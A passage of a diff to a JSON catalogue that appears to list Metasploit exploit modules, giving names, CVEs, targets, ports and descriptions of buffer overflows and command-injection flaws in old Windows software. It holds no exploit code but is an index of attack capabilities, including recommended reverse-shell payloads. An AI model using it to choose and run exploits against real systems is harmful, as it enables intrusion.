17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb", "is_install_path": true, "ref_name": "windows/browser/x360_video_player_set_text_bof", @@ -151438,6 +154656,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151445,16 +154672,14 @@ "exploit_windows/browser/xmplay_asx": { "name": "XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow", "fullname": "exploit/windows/browser/xmplay_asx", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-11-21", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in XMPlay 3.3.0.4.\n The vulnerability is caused due to a boundary error within\n the parsing of playlists containing an overly long file name.\n This module uses the ASX file format.", + "description": "This module exploits a stack buffer overflow in XMPlay 3.3.0.4.\n The vulnerability is caused due to a boundary error within\n the parsing of playlists containing an overly long file name.\n This module uses the ASX file format.", "references": [ "CVE-2006-6063", "OSVDB-30537", @@ -151464,17 +154689,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English SP4", "Windows XP Pro SP2 English" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/xmplay_asx.rb", "is_install_path": true, "ref_name": "windows/browser/xmplay_asx", @@ -151482,6 +154703,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151489,16 +154719,14 @@ "exploit_windows/browser/yahoomessenger_fvcom": { "name": "Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/yahoomessenger_fvcom", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-08-30", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX\n Control (YVerInfo.dll <= 2006.8.24.1). By sending an overly long string\n to the \"fvCom()\" method from a yahoo.com domain, an attacker may be able\n to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX\n Control (YVerInfo.dll <= 2006.8.24.1). By sending an overly long string\n to the \"fvCom()\" method from a yahoo.com domain, an attacker may be able\n to execute arbitrary code.", "references": [ "CVE-2007-4515", "OSVDB-37739", @@ -151508,16 +154736,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 Pro English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/yahoomessenger_fvcom.rb", "is_install_path": true, "ref_name": "windows/browser/yahoomessenger_fvcom", @@ -151525,6 +154749,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151532,16 +154765,14 @@ "exploit_windows/browser/yahoomessenger_server": { "name": "Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/yahoomessenger_server", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-06-05", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX\n Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.\n By sending an overly long string to the \"Server()\" method, and then calling\n the \"Send()\" method, an attacker may be able to execute arbitrary code.\n Using the payloads \"windows/shell_bind_tcp\" and \"windows/shell_reverse_tcp\"\n yield for the best results.", + "description": "This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX\n Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.\n By sending an overly long string to the \"Server()\" method, and then calling\n the \"Send()\" method, an attacker may be able to execute arbitrary code.\n Using the payloads \"windows/shell_bind_tcp\" and \"windows/shell_reverse_tcp\"\n yield for the best results.", "references": [ "CVE-2007-3147", "OSVDB-37082" @@ -151549,17 +154780,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1 Pro English", "Windows 2000 Pro English All" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/yahoomessenger_server.rb", "is_install_path": true, "ref_name": "windows/browser/yahoomessenger_server", @@ -151567,6 +154794,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151574,16 +154810,14 @@ "exploit_windows/browser/zenturiprogramchecker_unsafe": { "name": "Zenturi ProgramChecker ActiveX Control Arbitrary File Download", "fullname": "exploit/windows/browser/zenturiprogramchecker_unsafe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-05-29", "type": "exploit", "author": [ "MC " ], - "description": "This module allows remote attackers to place arbitrary files on a users file system\n via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control.", + "description": "This module allows remote attackers to place arbitrary files on a users file system\n via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control.", "references": [ "CVE-2007-2987", "OSVDB-36715", @@ -151592,16 +154826,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb", "is_install_path": true, "ref_name": "windows/browser/zenturiprogramchecker_unsafe", @@ -151609,6 +154839,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151616,9 +154855,7 @@ "exploit_windows/browser/zenworks_helplauncher_exec": { "name": "AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution", "fullname": "exploit/windows/browser/zenworks_helplauncher_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-10-19", "type": "exploit", @@ -151637,16 +154874,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb", "is_install_path": true, "ref_name": "windows/browser/zenworks_helplauncher_exec", @@ -151654,6 +154887,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -151727,9 +154969,7 @@ "exploit_windows/dcerpc/ms03_026_dcom": { "name": "MS03-026 Microsoft RPC DCOM Interface Overflow", "fullname": "exploit/windows/dcerpc/ms03_026_dcom", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-07-16", "type": "exploit", @@ -151748,12 +154988,8 @@ "platform": "Windows", "arch": "", "rport": 135, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT SP3-6a/2000/XP/2003 Universal" ], @@ -151781,16 +155017,14 @@ "exploit_windows/dcerpc/ms05_017_msmq": { "name": "MS05-017 Microsoft Message Queueing Service Path Overflow", "fullname": "exploit/windows/dcerpc/ms05_017_msmq", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-04-12", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the RPC interface\n to the Microsoft Message Queueing service. The offset to the\n return address changes based on the length of the system\n hostname, so this must be provided via the 'HNAME' option.\n Much thanks to snort.org and Jean-Baptiste Marchand's\n excellent MSRPC website.", + "description": "This module exploits a stack buffer overflow in the RPC interface\n to the Microsoft Message Queueing service. The offset to the\n return address changes based on the length of the system\n hostname, so this must be provided via the 'HNAME' option.\n Much thanks to snort.org and Jean-Baptiste Marchand's\n excellent MSRPC website.", "references": [ "CVE-2005-0059", "OSVDB-15458", @@ -151800,16 +155034,12 @@ "platform": "Windows", "arch": "", "rport": 2103, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 ALL / Windows XP SP0-SP1 (English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/dcerpc/ms05_017_msmq.rb", "is_install_path": true, "ref_name": "windows/dcerpc/ms05_017_msmq", @@ -151817,6 +155047,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151824,9 +155063,7 @@ "exploit_windows/dcerpc/ms07_029_msdns_zonename": { "name": "MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)", "fullname": "exploit/windows/dcerpc/ms07_029_msdns_zonename", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-04-12", "type": "exploit", @@ -151835,7 +155072,7 @@ "Unknown", "bcoles " ], - "description": "This module exploits a stack buffer overflow in the RPC interface\n of the Microsoft DNS service. The vulnerability is triggered\n when a long zone name parameter is supplied that contains\n escaped octal strings. This module is capable of bypassing NX/DEP\n protection on Windows 2003 SP1/SP2.", + "description": "This module exploits a stack buffer overflow in the RPC interface\n of the Microsoft DNS service. The vulnerability is triggered\n when a long zone name parameter is supplied that contains\n escaped octal strings. This module is capable of bypassing NX/DEP\n protection on Windows 2003 SP1/SP2.", "references": [ "CVE-2007-1748", "OSVDB-34100", @@ -151844,12 +155081,8 @@ "platform": "Windows", "arch": "", "rport": 0, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic (2000 SP0-SP4, 2003 SP0-SP2)", "Windows 2000 Server SP0-SP4+ English", @@ -151875,7 +155108,7 @@ "Windows 2003 Server SP1-SP2 Russian", "Windows 2003 Server SP1-SP2 Simplified Chinese" ], - "mod_time": "2021-11-30 07:38:08 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb", "is_install_path": true, "ref_name": "windows/dcerpc/ms07_029_msdns_zonename", @@ -151883,6 +155116,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151890,16 +155132,14 @@ "exploit_windows/dcerpc/ms07_065_msmq": { "name": "MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow", "fullname": "exploit/windows/dcerpc/ms07_065_msmq", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-12-11", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the RPC interface\n to the Microsoft Message Queueing service. This exploit requires\n the target system to have been configured with a DNS name and\n for that name to be supplied in the 'DNAME' option. This name does\n not need to be served by a valid DNS server, only configured on\n the target machine.", + "description": "This module exploits a stack buffer overflow in the RPC interface\n to the Microsoft Message Queueing service. This exploit requires\n the target system to have been configured with a DNS name and\n for that name to be supplied in the 'DNAME' option. This name does\n not need to be served by a valid DNS server, only configured on\n the target machine.", "references": [ "CVE-2007-3039", "OSVDB-39123", @@ -151908,16 +155148,12 @@ "platform": "Windows", "arch": "", "rport": 2103, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Server English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/dcerpc/ms07_065_msmq.rb", "is_install_path": true, "ref_name": "windows/dcerpc/ms07_065_msmq", @@ -151925,6 +155161,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151932,9 +155177,7 @@ "exploit_windows/email/ms07_017_ani_loadimage_chunksize": { "name": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)", "fullname": "exploit/windows/email/ms07_017_ani_loadimage_chunksize", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-03-28", "type": "exploit", @@ -151942,7 +155185,7 @@ "hdm ", "skape " ], - "description": "This module exploits a buffer overflow vulnerability in the\n LoadAniIcon() function of USER32.dll. The flaw is triggered\n through Outlook Express by using the CURSOR style sheet\n directive to load a malicious .ANI file.\n\n This vulnerability was discovered by Alexander Sotirov of Determina\n and was rediscovered, in the wild, by McAfee.", + "description": "This module exploits a buffer overflow vulnerability in the\n LoadAniIcon() function of USER32.dll. The flaw is triggered\n through Outlook Express by using the CURSOR style sheet\n directive to load a malicious .ANI file.\n\n This vulnerability was discovered by Alexander Sotirov of Determina\n and was rediscovered, in the wild, by McAfee.", "references": [ "MSB-MS07-017", "CVE-2007-0038", @@ -151979,7 +155222,7 @@ "Windows XP SP1a userenv.dll English", "Windows XP SP1a shell32.dll English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb", "is_install_path": true, "ref_name": "windows/email/ms07_017_ani_loadimage_chunksize", @@ -151987,6 +155230,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151994,16 +155246,14 @@ "exploit_windows/email/ms10_045_outlook_ref_only": { "name": "Outlook ATTACH_BY_REF_ONLY File Execution", "fullname": "exploit/windows/email/ms10_045_outlook_ref_only", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-01", "type": "exploit", "author": [ "Yorick Koster " ], - "description": "It has been discovered that certain e-mail message cause Outlook to create Windows\n shortcut-like attachments or messages within Outlook. Through specially crafted TNEF\n streams with certain MAPI attachment properties, it is possible to set a path name\n to files to be executed. When a user double clicks on such an attachment or message,\n Outlook will proceed to execute the file that is set by the path name value. These\n files can be local files, but also files stored remotely (on a file share, for example)\n can be used. Exploitation is limited by the fact that it is not possible for attackers\n to supply command line options.", + "description": "It has been discovered that certain e-mail message cause Outlook to create Windows\n shortcut-like attachments or messages within Outlook. Through specially crafted TNEF\n streams with certain MAPI attachment properties, it is possible to set a path name\n to files to be executed. When a user double clicks on such an attachment or message,\n Outlook will proceed to execute the file that is set by the path name value. These\n files can be local files, but also files stored remotely (on a file share, for example)\n can be used. Exploitation is limited by the fact that it is not possible for attackers\n to supply command line options.", "references": [ "MSB-MS10-045", "CVE-2010-0266", @@ -152029,7 +155279,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb", "is_install_path": true, "ref_name": "windows/email/ms10_045_outlook_ref_only", @@ -152037,6 +155287,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152044,16 +155303,14 @@ "exploit_windows/email/ms10_045_outlook_ref_resolve": { "name": "Outlook ATTACH_BY_REF_RESOLVE File Execution", "fullname": "exploit/windows/email/ms10_045_outlook_ref_resolve", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-01", "type": "exploit", "author": [ "Yorick Koster " ], - "description": "It has been discovered that certain e-mail message cause Outlook to create Windows\n shortcut-like attachments or messages within Outlook. Through specially crafted TNEF\n streams with certain MAPI attachment properties, it is possible to set a path name\n to files to be executed. When a user double clicks on such an attachment or message,\n Outlook will proceed to execute the file that is set by the path name value. These\n files can be local files, but also file stored remotely for example on a file share.\n Exploitation is limited by the fact that its is not possible for attackers to supply\n command line options.", + "description": "It has been discovered that certain e-mail message cause Outlook to create Windows\n shortcut-like attachments or messages within Outlook. Through specially crafted TNEF\n streams with certain MAPI attachment properties, it is possible to set a path name\n to files to be executed. When a user double clicks on such an attachment or message,\n Outlook will proceed to execute the file that is set by the path name value. These\n files can be local files, but also file stored remotely for example on a file share.\n Exploitation is limited by the fact that its is not possible for attackers to supply\n command line options.", "references": [ "MSB-MS10-045", "CVE-2010-0266", @@ -152079,7 +155336,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb", "is_install_path": true, "ref_name": "windows/email/ms10_045_outlook_ref_resolve", @@ -152087,6 +155344,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152094,16 +155360,14 @@ "exploit_windows/emc/alphastor_agent": { "name": "EMC AlphaStor Agent Buffer Overflow", "fullname": "exploit/windows/emc/alphastor_agent", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-05-27", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in EMC AlphaStor 3.1.\n By sending a specially crafted message, an attacker may\n be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in EMC AlphaStor 3.1.\n By sending a specially crafted message, an attacker may\n be able to execute arbitrary code.", "references": [ "CVE-2008-2158", "OSVDB-45714", @@ -152112,16 +155376,12 @@ "platform": "Windows", "arch": "", "rport": 41025, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EMC AlphaStor 3.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/emc/alphastor_agent.rb", "is_install_path": true, "ref_name": "windows/emc/alphastor_agent", @@ -152129,6 +155389,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152136,9 +155405,7 @@ "exploit_windows/emc/alphastor_device_manager_exec": { "name": "EMC AlphaStor Device Manager Opcode 0x75 Command Injection", "fullname": "exploit/windows/emc/alphastor_device_manager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-18", "type": "exploit", @@ -152149,7 +155416,7 @@ "Brent Morris ", "juan vazquez " ], - "description": "This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75\n command, the process does not properly filter user supplied input allowing for arbitrary\n command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116\n with Windows 2003 SP2 and Windows 2008 R2.", + "description": "This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75\n command, the process does not properly filter user supplied input allowing for arbitrary\n command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116\n with Windows 2003 SP2 and Windows 2008 R2.", "references": [ "CVE-2013-0928", "ZDI-13-033" @@ -152157,16 +155424,12 @@ "platform": "Windows", "arch": "x86", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EMC AlphaStor 4.0 < build 800 / Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/emc/alphastor_device_manager_exec.rb", "is_install_path": true, "ref_name": "windows/emc/alphastor_device_manager_exec", @@ -152174,6 +155437,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152181,9 +155453,7 @@ "exploit_windows/emc/networker_format_string": { "name": "EMC Networker Format String", "fullname": "exploit/windows/emc/networker_format_string", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-08-29", "type": "exploit", @@ -152192,7 +155462,7 @@ "Luigi Auriemma ", "juan vazquez " ], - "description": "This module exploits a format string vulnerability in the lg_sprintf function\n as implemented in liblocal.dll on EMC Networker products. This module exploits the\n vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,\n version 0x02, and procedure 0x06. This module has been tested successfully on EMC\n Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).", + "description": "This module exploits a format string vulnerability in the lg_sprintf function\n as implemented in liblocal.dll on EMC Networker products. This module exploits the\n vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,\n version 0x02, and procedure 0x06. This module has been tested successfully on EMC\n Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).", "references": [ "CVE-2012-2288", "OSVDB-85116", @@ -152202,18 +155472,14 @@ "platform": "Windows", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EMC Networker 7.6 SP3 / Windows Universal", "EMC Networker 7.6 SP3 / Windows XP SP3", "EMC Networker 7.6 SP3 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/emc/networker_format_string.rb", "is_install_path": true, "ref_name": "windows/emc/networker_format_string", @@ -152221,6 +155487,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152228,9 +155503,7 @@ "exploit_windows/emc/replication_manager_exec": { "name": "EMC Replication Manager Command Execution", "fullname": "exploit/windows/emc/replication_manager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-02-07", "type": "exploit", @@ -152238,7 +155511,7 @@ "Unknown", "Davy Douhine" ], - "description": "This module exploits a remote command-injection vulnerability in EMC Replication Manager\n client (irccd.exe). By sending a specially crafted message invoking RunProgram function an\n attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected\n products are EMC Replication Manager < 5.3. This module has been successfully tested\n against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft\n Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested\n against these products.", + "description": "This module exploits a remote command-injection vulnerability in EMC Replication Manager\n client (irccd.exe). By sending a specially crafted message invoking RunProgram function an\n attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected\n products are EMC Replication Manager < 5.3. This module has been successfully tested\n against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft\n Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested\n against these products.", "references": [ "CVE-2011-0647", "OSVDB-70853", @@ -152249,16 +155522,12 @@ "platform": "Windows", "arch": "x86", "rport": 6542, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EMC Replication Manager 5.2.1 / Windows Native Payload" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/emc/replication_manager_exec.rb", "is_install_path": true, "ref_name": "windows/emc/replication_manager_exec", @@ -152266,6 +155535,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152273,9 +155551,7 @@ "exploit_windows/fileformat/a_pdf_wav_to_mp3": { "name": "A-PDF WAV to MP3 v1.0.0 Buffer Overflow", "fullname": "exploit/windows/fileformat/a_pdf_wav_to_mp3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-17", "type": "exploit", @@ -152284,7 +155560,7 @@ "Dr_IDE", "dookie" ], - "description": "This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When\n the application is used to import a specially crafted m3u file, a buffer overflow occurs\n allowing arbitrary code execution.", + "description": "This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When\n the application is used to import a specially crafted m3u file, a buffer overflow occurs\n allowing arbitrary code execution.", "references": [ "OSVDB-67241", "EDB-14676", @@ -152293,16 +155569,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb", "is_install_path": true, "ref_name": "windows/fileformat/a_pdf_wav_to_mp3", @@ -152310,6 +155582,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152317,9 +155598,7 @@ "exploit_windows/fileformat/abbs_amp_lst": { "name": "ABBS Audio Media Player .LST Buffer Overflow", "fullname": "exploit/windows/fileformat/abbs_amp_lst", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-30", "type": "exploit", @@ -152327,7 +155606,7 @@ "Julian Ahrens", "modpr0be " ], - "description": "This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability\n occurs when adding a specially crafted .lst file, allowing arbitrary code execution with the privileges\n of the user running the application. This module has been tested successfully on\n ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability\n occurs when adding a specially crafted .lst file, allowing arbitrary code execution with the privileges\n of the user running the application. This module has been tested successfully on\n ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.", "references": [ "OSVDB-75096", "EDB-25204" @@ -152335,16 +155614,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/abbs_amp_lst.rb", "is_install_path": true, "ref_name": "windows/fileformat/abbs_amp_lst", @@ -152352,6 +155627,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152359,9 +155643,7 @@ "exploit_windows/fileformat/acdsee_fotoslate_string": { "name": "ACDSee FotoSlate PLP File id Parameter Overflow", "fullname": "exploit/windows/fileformat/acdsee_fotoslate_string", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-09-12", "type": "exploit", @@ -152369,7 +155651,7 @@ "Parvez Anwar", "juan vazquez " ], - "description": "This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via\n a specially crafted id parameter in a String element. When viewing a malicious\n PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a\n buffer and execute arbitrary code. This exploit has been tested on systems such as\n Windows XP SP3, Windows Vista, and Windows 7.", + "description": "This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via\n a specially crafted id parameter in a String element. When viewing a malicious\n PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a\n buffer and execute arbitrary code. This exploit has been tested on systems such as\n Windows XP SP3, Windows Vista, and Windows 7.", "references": [ "CVE-2011-2595", "OSVDB-75425", @@ -152378,16 +155660,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ACDSee FotoSlate 4.0 Build 146" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb", "is_install_path": true, 